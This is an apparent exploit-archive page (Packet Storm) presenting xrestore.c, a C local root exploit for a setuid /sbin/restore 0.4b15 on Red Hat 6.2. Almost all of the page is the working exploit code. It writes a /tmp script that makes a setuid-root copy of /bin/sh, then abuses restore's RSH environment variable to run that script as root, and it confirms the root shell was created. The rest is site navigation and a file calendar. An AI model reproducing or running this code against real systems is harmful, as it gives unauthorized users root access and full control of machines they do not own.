what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

xrestore.c

xrestore.c
Posted Nov 4, 2000
Authored by vade79, realhalo | Site realhalo.org

Restore (/sbin/restore) v0.4b15 local root exploit. Tested against Redhat 6.2.

tags | exploit, local, root
systems | linux, redhat
SHA-256 | 25b1655a9902e87c0615e5d189cded02d9d32a74028c352acca92baf010d53b9

xrestore.c

Change Mirror Download
/* (linux)restore[0.4b15] local root exploit, by v9[v9@fakehalo.org].  this is
the counterpart to Mat's /sbin/dump exploit findings. it also can be applied
on /sbin/restore i noticed. /sbin/restore has to be setuid root for this to
successfully exploit, of course. -- so here goes.

note: this was built and tested for the redhat 6.2 installation.
*/
#define PATH "/sbin/restore" // path to restore
#define TMPEXEC "/tmp/tmpsh" // the temporary file to execute.
#define SUIDSHELL "/tmp/rootsh" // where the rootshell will be located.
#include <stdio.h>
#include <sys/stat.h>
main(){
char cmd[256],input[3];
struct stat mod1,mod2;
FILE *suidexec;
fprintf(stderr,"[ (linux)restore[0.4b15] local root exploit, by v9[v9@fakehalo"
".org]. ]\n\n",PATH);
if(stat(PATH,&mod1)){
fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH);
exit(1);
}
else if(mod1.st_mode==36333){
fprintf(stderr,"[*] %s appears to be setuid and setgid.\n",PATH);
}
else{
fprintf(stderr,"[!] failed, %s doesn't appear to be setuid and setgid. (rh de"
"fault)\n",PATH);
exit(1);
}
fprintf(stderr,"[*] now making shell script to execute.\n");
unlink(TMPEXEC);
suidexec=fopen(TMPEXEC,"w");
fprintf(suidexec,"#!/bin/sh\n");
fprintf(suidexec,"cp /bin/sh %s\n",SUIDSHELL);
fprintf(suidexec,"chown root.root %s\n",SUIDSHELL);
fprintf(suidexec,"chmod 6755 %s\n",SUIDSHELL);
fclose(suidexec);
chmod(TMPEXEC,33261);
fprintf(stderr,"[*] done, now setting up environmental variables.\n");
setenv("INPUT",input,1);
setenv("RSH",TMPEXEC,1);
setenv("TAPE",":",1);
fprintf(stderr,"[*] done, now building and executing the command line.\n");
snprintf(input,sizeof(input),"y\nn");
snprintf(cmd,sizeof(cmd),"echo $INPUT | %s -R 1>/dev/null 2>&1",PATH);
system(cmd);
sleep(1);
unlink(TMPEXEC);
fprintf(stderr,"[*] done, now checking for success.\n");
if(stat(SUIDSHELL,&mod2)){
fprintf(stderr,"[!] failed, %s doesn't exist.\n",SUIDSHELL);
exit(1);
}
else if(mod2.st_mode==36333){
fprintf(stderr,"[*] success, %s is now setuid and setgid.\n",SUIDSHELL);
}
else{
fprintf(stderr,"[!] failed, %s exists, but doesnt appear to be setuid and set"
"gid.\n",SUIDSHELL);
exit(1);
}
fprintf(stderr,"[*] finished, everything appeared to have gone successful.\n");
exit(0);
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close